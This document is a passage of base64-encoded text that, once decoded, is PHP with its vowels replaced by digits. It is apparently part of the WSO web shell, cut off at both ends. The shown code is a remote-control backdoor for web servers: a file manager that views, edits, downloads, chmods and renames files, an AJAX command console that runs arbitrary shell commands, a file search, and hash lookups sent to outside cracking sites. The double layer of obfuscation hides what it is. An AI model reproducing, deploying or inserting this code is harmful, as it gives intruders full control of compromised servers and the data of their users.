N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KCQkJPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9mMnJtPiI7DQoNCglmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQoJCTRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCgkJCSRwMXRoLj0nLyc7DQoJCSRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQk0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KCQkJZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCgkJCQk0ZihANHNfZDRyKCQ0dDVtKSl7DQoJCQkJCTRmKCRwMXRoIT0kNHQ1bSkNCgkJCQkJCXdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmKDVtcHR5KCRfUE9TVFsncGEnXSkgfHwgQHN0cnAycyhmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksICRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCgkJCQkJCTVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiLFwiXCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCTRmKEAkX1BPU1RbJ3BvJ10pDQoJCXdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOw0KCTVjaDIgIjwvZDR2Pjxicj48aDY+UzUxcmNoIGYyciBoMXNoOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+DQoJCQk8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0naDFzaCcgc3R5bDU9J3c0ZHRoOmEwMHB4Oyc+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0nMWN0JyB2MWwzNT0nZjRuZCcvPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy5yMycgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcucjMvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGkucjVkbjI0ejUuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vbWRpLnI1ZG4yNHo1LmMybS8/cT0nK2QyYzNtNW50LmhmLmgxc2gudjFsMzUrJyZzPW1kaSc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nY3IxY2tmMnIubTUnIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9jcjFja2Yyci5tNS80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQk8L2Yycm0+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQoJCTVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQoJCXdzMkYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCgk1Y2gyICc8c3Axbj5DaDFuZzUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCgk0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQoJCSRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCgk0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCgkJJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQoJNWNoMiAnPGJyPjxicj4nOw0KCXN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCgkJYzFzNSAndjQ1dyc6DQoJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC9wcjU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNGdobDRnaHQnOg0KCQkJNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KCQkJCTVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCgkJCQkkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQoJCQkJNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCgkJCX0NCgkJCWJyNTFrOw0KCQljMXM1ICdjaG0yZCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHA1cm1zID0gMDsNCgkJCQlmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KCQkJCQkkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KCQkJCTRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy5jaG0yZC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNobTJkIHYxbDM1PSInLnMzYnN0cihzcHI0bnRmKCclMicsIGY0bDVwNXJtcygkX1BPU1RbJ3A2J10pKSwtdSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnNWQ0dCc6DQoJCQk0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCQk1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pOw0KCQkJCSRfUE9TVFsncG8nXSA9IHMzYnN0cigkX1BPU1RbJ3BvJ10sNik7DQoJCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOw0KCQkJCTRmKCRmcCkgew0KCQkJCQlAZndyNHQ1KCRmcCwkX1BPU1RbJ3BvJ10pOw0KCQkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJCTVjaDIgJ1MxdjVkITxicj48c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD4nOw0KCQkJCQlAdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KTsNCgkJCQl9DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdyNW4xbTUnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCTRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCgkJCQk1bHM1DQoJCQkJCWQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsdGg0cy50MjNjaC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PXQyM2NoIHYxbDM1PSInLmQxdDUoIlktbS1kIEg6NDpzIiwgQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgew0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCcsIHRyMzUpOw0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0JywgMCk7DQoNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsNCgkJJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCgkJNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKQl7DQoJCQk0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCgkJCQk1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQk1Y2gyICJkLmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCgkJNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQoJCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIDApOw0KCXdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQoJdjFyIG4gPSAodzRuZDJ3LkV2NW50KSA/IDUud2g0Y2ggOiA1Lms1eUMyZDU7DQoJNGYobiA9PSBvOCkgew0KCQljM3ItLTsNCgkJNGYoYzNyPj0wKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3IrKzsNCgl9IDVsczUgNGYobiA9PSB1MCkgew0KCQljM3IrKzsNCgkJNGYoYzNyIDwgY21kcy5sNW5ndGgpDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzci0tOw0KCX0NCn0NCmYzbmN0NDJuIDFkZChjbWQpIHsNCgljbWRzLnAycCgpOw0KCWNtZHMucDNzaChjbWQpOw0KCWNtZHMucDNzaCgnJyk7DQoJYzNyID0gY21kcy5sNW5ndGgtNjsNCn0NCjwvc2NyNHB0PiI7DQoJNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KCWYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgew0KCQk0ZigkdiA9PSAnJykgew0KCQkJNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCR2KS4nIj4nLiRuLic8LzJwdDQybj4nOw0KCX0NCg0KCTVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KCX0NCgk1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdDRtNSgpIC0gb2UwMCk7DQoJZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQoNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmso